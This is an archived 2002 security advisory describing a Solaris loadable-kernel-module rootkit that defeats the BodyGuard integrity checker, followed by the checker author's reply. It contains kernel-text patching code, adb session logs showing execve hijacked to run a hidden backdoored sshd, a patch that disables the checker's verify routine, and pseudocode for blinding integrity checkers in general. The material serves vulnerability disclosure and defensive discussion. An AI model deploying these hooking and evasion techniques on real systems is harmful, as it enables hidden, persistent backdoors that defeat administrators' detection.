8th Jul 2002 [SBWID-5514]
COMMAND
Bodyguard bypassed / Solaris kernel function hijacking
SYSTEMS AFFECTED
??
PROBLEM
noir sin [http://www.olympos.org/] wrote :
Recently, Dave Aitel posted a link to a loadable kernel module for the
Solaris operating system to check its kernel integrity against
backdoors. The product does md5 checksuming on the sysent32 table where
pointers to syscall handling kernel functions reside. These pointers
are well known to be manipulated by backdoor lkm\'s to change the
execution order and pre-execute some hacker code that will hide things
or feed false information.
Further demonstrates stealth techniques that will bypass checks that
are done by Bodyguard (Dave\'s lkm). Similar techniques have been
developed for Linux by Silvio and most recently by mayhem. But my
implementation has a major difference than Silvio\'s and mayhem\'s
kernel function hooking; Rather than inserting a jump/call instruction
on functions entry point, I choose to change displacement of the call
instructions that are used on system call dispacthing.
Proof of concept code
=====================
http://gsu.linux.org.tr/~noir/b.tar.gz
(Source will only compile with Sun Workshop compiler, do not even
bother with gcc) Binary and source is coded/compiled on Solaris 7 and 8
sun4u with 64 bits kernel. Try it on only on Solaris 7 or 8 with 64 bit
kernel image (isainfo -b).
Details
=======
In the \"product\" demo, Dave checks for execve system call (only
execve and stat64 indeed), for demostrations sake I will hook the
execve syscall and redirect /usr/local/sbin/sshd execution to
/usr/lib/.funky/sshd (kids, you can grab your favorite OpenSSH backdoor
and place it under /usr/lib/.funky/)
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece/5i
exece:
exece: save %sp, -0xb0, %sp
mov %i0, %o0
mov %i1, %o1
call exec_common
mov %i2, %o2
After the userland trap instruction kernel dispacthes the execve system
call to the exece() function, as we can see exece() directly call
exec_common() without touching anything, this is the instruction \"call
exec_common\" that we are going to hijack!! and change the displacement
to our newly inserted code: hook_execcommon()
exece+0xc/i
exece+0xc: call exec_common
.=X
10086cf0
10086cf0/X
exece+0xc: 4000000c
this is the value before patching it
but we will face an obstacle here since the kernel text is read and
execute only in Solaris kernel. there is no such issue on Linux since
kernel text is rwx ... here is how to overcome the problem:B
unsigned int gprot;
|--> a global to store the orginal protection bits
...
...
..
int
_init(void)
....
if((i = hat_getattr(kas.a_hat, (caddr_t) orig_exece, &gprot)) != 0)
goto out; |
|--> get the page protection bits and store it in gprot
hat_setattr(kas.a_hat, (caddr_t) orig_exece, 0x4, PROT_WRITE);
|--> set
>PROT_WRITE bit
*(int *) orig_exece = call_ins;
|--> patch the kernel text with our call instruction
hat_chgattr(kas.a_hat, (caddr_t) orig_exece, 0x4, gprot);
|--> restore the page protection
....
that\'s it ;-), simple as that... and on _fini we do the same routine
to restore the original call instruction
also here is how the displacement for the call instruction is
calculated:
____________________________
call instruction on SPARC cpu is: |01| 30bit displacement |
----------------------------
all you have to do is find the difference between 2 addresses
(hook_execcommon - (exece+0xc)) bitwise shit it 2 bits to right than OR
it with 0x40000000, done!
Additional side note: bouncer does not even reads from the
sysent/sysent32 table, it uses kobj_getsymvalue(char *, int) function
to resolve the kernel symbols like exece, exec ...
let\'s continue
bash-2.03# modload bouncer ---> lets load our module
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece/5i
exece:
exece: save %sp, -0xb0, %sp
mov %i0, %o0
mov %i1, %o1
call hook_execcommon ---> w0w!!! it is patched
mov %i2, %o2
exece+0xc/i
exece+0xc: call hook_execcommon
.=X
10086cf0
10086cf0/X
exece+0xc: 400675c0
$q
bash-2.03# /usr/local/sbin/sshd
bash: /usr/lib/.funky/sshd: No such file or directory
|--> i don\'t run OpenSSH, backdoor is active!
bash-2.03# modinfo | grep bouncer
|--> invisible, but I can guess da number ;)
bash-2.03# modunload -i 118 --> lets unload and do sanity check!! ;-p
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
exece+0xc/i
exece+0xc: call exec_common --> cool back to normal
.=X
10086cf0
10086cf0/X
exece+0xc: 4000000c
$q
bash-2.03#
a clean unload....
bouncer hooks cmn_err()* and checks if verify_syscalls() resolvs, if
YES it patches the first 2 instructions of verify_syscalls with \"retl;
nop;
* cmn_err() is used for reporting to userland (through
/var/adm/messages) so at _init() bodyguard call cmn_err() to report of
its successful installation, nada! bouncer kicks in and patches
verify_syscall() ... ;0)
now you can even change the sysent/sysent32 table with no worries ; )
logs of BOUNCER in action:
bash-2.03# uname -a
SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
bash-2.03# isainfo -b
64
bash-2.03# cd BOUNCER/
bash-2.03# modload b2
bash-2.03#
bash-2.03# /usr/local/sbin/sshd
bash: /usr/lib/.funky/sshd: No such file or directory
bash-2.03# cd ../BODYGUARD
bash-2.03# sh runbodyguard_verifier.sh
This is the license for BodyGuard Kernel Verifier, Demo Version 1.0
.....
Jul 7 04:45:50 slint bodyguard: [ID 801043 kern.notice] NOTICE:
Installing Immunity BODYGUARD module!
Jul 7 04:45:50 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there
are any problems, please e-mail Dave Aitel at dave@immunitysec.com
Jul 7 04:45:50 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is
just a demo version of the Immunity BODYGUARD product.
Jul 7 04:45:50 slint bodyguard: [ID 530759 kern.notice] NOTICE: For a
year-long site license, or limited source code license, please see
http://www.immunitysec.com.
Jul 7 04:45:50 slint bodyguard: [ID 222896 kern.notice] NOTICE: Done
installing BODYGUARD.
Jul 7 04:45:51 slint bodyguard: [ID 887483 kern.notice] NOTICE: Removing
BODYGUARD module!
Jul 7 05:01:22 slint bodyguard: [ID 801043 kern.notice] NOTICE:
Installing Immunity BODYGUARD module!
Jul 7 05:01:22 slint bodyguard: [ID 300378 kern.notice] NOTICE: If there
are any problems, please e-mail Dave Aitel at dave@immunitysec.com
Jul 7 05:01:22 slint bodyguard: [ID 779008 kern.notice] NOTICE: This is
just a demo version of the Immunity BODYGUARD product.
bash-2.03# modload bodyguard
bash-2.03# adb -k /dev/ksyms
physmem 3b5b
verify_syscalls/i
verify_syscalls:
verify_syscalls: retl
verify_syscalls+4: nop
cmn_err+0x94/i
cmn_err+0x94: call uncle_steve_albini
exece+0xc/i
exece+0xc: call hook_execcommon
The fundamental problem is bodyguard is also trusting a subverted
kernel, this means that any internal kernel function is being used by
bodyguard could be changed in a way that it will detect bodyguards
existence and feed false information or even change bodyguard itself
... for example ddi_enter_critical or mod_install can be hooked in away
that it will do a kobj_getsymvalue() one or more exported symbols of
bodyguard (myverify, md5_XXXXXX, verify_syscalls...) and if the
symbol/s resolve it will patch that function with a \"return TRUE\"
instruction ... ;-) ofcourse patching must be done at the entry point
somewhere, most likely the first instruction ....
primary_inhouse_kernel_function_used_by_bodyguard()
{
.....
if(kobj_getsymvalue(verify_syscalls,1)){
do page protection manipulation
patch the proper place with \"return TRUE\" of the verify_syscalls()
!! this will make verify_syscalls return TRUE meaning no problems
}
....
do the realstuff ...
}
this will render any kernel integrity level checker useless. solution
is simple integrity checkers have to be stealh to like their
counterparts (backdoors)
SOLUTION
Dave Aitel comments :
Well, BG 1.0 Free Demo (http://www.immunitysec.com/bodyguard.html) does
do the dereference. E.G. It checks the system call code itself, not the
sysent32 table. So theoretically adding exece to BodyGuard\'s checksum
table _would_ catch this method, at least for the moment. :>
The demo version is somewhat limited in what it checks, but DOES work
on many \"popular\" kernel level rootkits. A lot of the goal was to
give people at least SOME recourse. I recognize the it becomes an
escalating game of SPY vs SPY, but BG does at least give non-hackers a
chip to spend in the game - something they didn\'t have until Monday
:>.=20
There\'s definitely a window of time where BG will detect a rootkit.
This is why BG, to be successful, will have
1. Limited distribution
2. slightly different executables for each customer
3. be sold only on a subscription basis - new versions due out
periodically throughout the year.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH